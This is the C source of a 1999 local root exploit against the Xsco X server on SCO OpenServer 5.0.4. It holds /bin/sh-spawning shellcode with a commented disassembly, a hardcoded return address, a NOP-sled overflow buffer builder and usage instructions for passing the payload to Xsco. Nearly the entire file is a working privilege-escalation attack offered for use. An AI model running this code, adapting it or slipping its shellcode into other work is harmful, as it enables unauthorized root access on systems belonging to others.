/*
 * <xserverx.c> Local root exploit 
 *
 * Offset: Xsco (SCO OpenServer 5.0.4) 
 * 0 -> from gdb
 * 50 - 100 -> from shell  
 *
 * Usage: 
 * $ cc xserverx.c -o xserverx
 * $ /usr/bin/X11/Xsco :`xserverx 80`
 *
 * By: The Dark Raver of CPNE (Murcia/Spain - 23/6/99) 
 *
 * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
 *
 */ 


#include <stdlib.h>
#include <stdio.h>

char hell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

/*
char hell[]=
"\xeb\x1b" // start: jmp uno 
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x8d\x7e\x07" // leal 0x07(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe0\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0 
*/

                       
#define OFF 0x80478ff 	// SCO OpenServer 5.0.4
#define ALINEA 2
#define LEN 200
                       

int main(int argc, char *argv[]) {

int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
	printf("Usage: xserverx <offset>\n");
	exit(0); }
else {
	offset=atoi(argv[1]); }

memset(buf,0x90,LEN);
memcpy(buf+80,hell,strlen(hell));
for(i=140+ALINEA;i<LEN-4;i+=4)
	*(int *)&buf[i]=OFF+offset;

for(i=0;i<LEN;i++)
	putchar(buf[i]);

exit(0);
}